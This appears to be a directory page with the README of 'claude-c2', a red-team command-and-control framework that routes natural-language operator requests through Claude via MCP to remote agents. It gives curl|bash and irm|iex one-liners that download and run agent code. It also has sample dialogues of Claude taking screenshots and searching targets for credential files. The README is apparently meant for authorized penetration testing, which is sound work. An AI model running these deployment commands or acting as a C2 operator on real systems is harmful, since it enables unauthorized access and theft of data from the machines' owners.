claude-c2
Enables natural language command and control of remote systems across multiple platforms through Claude AI using the Model Context Protocol.
README
<div align="center">
<img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/logo.svg" alt="Claude C2" width="120">
Claude C2
AI-Powered Command & Control Framework
<br>
<img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/demo.gif" alt="Demo" width="700">
<br>
Natural language control of remote systems through Claude AI and Model Context Protocol
<br>
Overview · Architecture · Installation · Deployment · Documentation
</div>
<br>
<br>
Overview
Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.
Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.
Operator: "Show me all connected systems"
Claude: [Queries client manager, returns formatted list with OS, hostname, IP, user context]
Operator: "Capture the screen on the Windows workstation"
Claude: [Identifies target, executes screenshot, saves to server, confirms completion]
Operator: "Search for configuration files containing credentials"
Claude: [Runs recursive search with appropriate OS commands, returns matching paths]
<br>
Key Characteristics
| Feature | Description |
|---|---|
| Natural Language Interface | Communicate with targets through conversational English |
| Cross-Platform | Unified control across Windows, Linux, macOS, and Android |
| Adaptive Execution | AI automatically translates intent to OS-specific commands |
| Minimal Footprint | Agents use native scripting tools with no additional binaries |
| Encrypted Transport | TLS-secured WebSocket connections with OAuth 2.0 authentication |
| Auto-Recovery | Agents automatically reconnect on connection loss |
<br>
<br>
Architecture
┌────────────────────────────────────────────────────────────────────────────┐
│ │
│ CLAUDE C2 ARCHITECTURE │
│ │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ │ │ │ │
│ │ OPERATOR │ MCP │ COMMAND │ WSS │ TARGET │ │
│ │ │◄───────►│ │◄───────►│ │ │
│ │ Claude.ai │ SSE │ SERVER │ JSON │ AGENTS │ │
│ │ │ │ │ │ │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │
│ │ │ │ │
│ │ Natural language │ Command routing │ Shell │
│ │ requests/responses │ Client management │ execution │
│ │ via Claude AI │ OAuth + TLS │ Results │
│ │ │ │ │
│ │
└────────────────────────────────────────────────────────────────────────────┘
Communication Flow:
- Operator interacts with Claude AI through claude.ai interface
- Claude connects to C2 server via MCP (Model Context Protocol) over SSE
- Server maintains persistent WebSocket connections to all deployed agents
- Commands are routed to appropriate agents based on operator intent
- Agents execute commands using native OS tools and return results
- Claude formats and presents results to operator
<br>
<br>
Installation
Prerequisites
- Node.js 18 or higher
- Valid SSL certificate (Let's Encrypt recommended)
- Domain name pointing to server
- Network access on ports 443, 3101, 3102
Server Setup
# Clone repository
git clone https://github.com/0xyg3n/claude-c2.git
cd claude-c2
# Install dependencies
npm install
# Configure environment
cp .env.example .env
Edit .env with your configuration:
DOMAIN=your-domain.com
MCP_PORT=3101
WS_PORT=3102
OAUTH_CLIENT_ID=your-client-id
OAUTH_CLIENT_SECRET=your-client-secret
SSL_CERT_PATH=/path/to/cert.pem
SSL_KEY_PATH=/path/to/key.pem
# Start server
npm start
Claude.ai Integration
Configure MCP connector in Claude.ai settings:
| Parameter | Value |
|---|---|
| Server URL | https://your-domain.com/mcp/sse |
| Authentication | OAuth 2.0 |
| Client ID | Value from .env |
| Client Secret | Value from .env |
<br>
<br>
Deployment
Deploy agents to target systems using platform-specific one-liners:
<table> <thead> <tr> <th align="center">Platform</th> <th>Deployment Command</th> </tr> </thead> <tbody> <tr> <td align="center"><b>Windows</b></td> <td>
irm https://YOUR_DOMAIN/agent/windows | iex
</td> </tr> <tr> <td align="center"><b>Linux</b></td> <td>
curl -s https://YOUR_DOMAIN/agent/linux | bash
</td> </tr> <tr> <td align="center"><b>macOS</b></td> <td>
curl -s https://YOUR_DOMAIN/agent/macos | bash
</td> </tr> <tr> <td align="center"><b>Android</b></td> <td>
curl -s https://YOUR_DOMAIN/agent/termux | bash
</td> </tr> </tbody> </table>
Agents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.
<br>
<br>
Usage Examples
| Request | Action |
|---|---|
"List all connected clients" |
Display all active agents with system information |
"Execute whoami on target" |
Run command and return output |
"Take a screenshot" |
Capture display and save to server |
"Find all PDF documents" |
Recursive filesystem search |
"Show network configuration" |
Execute ipconfig/ifconfig based on OS |
"List running processes" |
Display process list with details |
"Open URL on Android device" |
Launch browser with specified URL |
When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.
<br>
<br>
Demonstrated Platforms
<div align="center">
| Windows 11 | Android (Termux) |
|---|---|
| <img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/poc-windows.png" width="320"> | <img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/poc-termux.png" width="320"> |
| Full agent functionality | Termux environment with API access |
</div>
<br>
<br>
Documentation
| Document | Description |
|---|---|
| Integration Guide | Claude.ai configuration and API setup |
| Android Operations | Termux-specific features and Termux:API |
<br>
<br>
Legal Notice
<table> <tr> <td>
This software is provided strictly for authorized security testing, educational research, and legitimate penetration testing engagements.
By using this software, you acknowledge and agree to the following:
- You have obtained explicit written authorization for any systems tested
- You understand that unauthorized access to computer systems is a criminal offense under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act, and equivalent legislation in your jurisdiction
- The authors and contributors accept no responsibility or liability for any misuse, damage, or illegal activities conducted with this software
- You assume full legal responsibility for your use of this software
This tool is intended exclusively for:
- Licensed penetration testers with valid authorization
- Red team operators with written scope agreements
- Security researchers in controlled environments
- Educational purposes in authorized lab settings
</td> </tr> </table>
<br>
<div align="center">
<sub>
Claude C2 — Built on Anthropic's Model Context Protocol
</sub>
</div>
Claude C2 - Updated Mon Dec 8 13:44:11 EET 2025
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。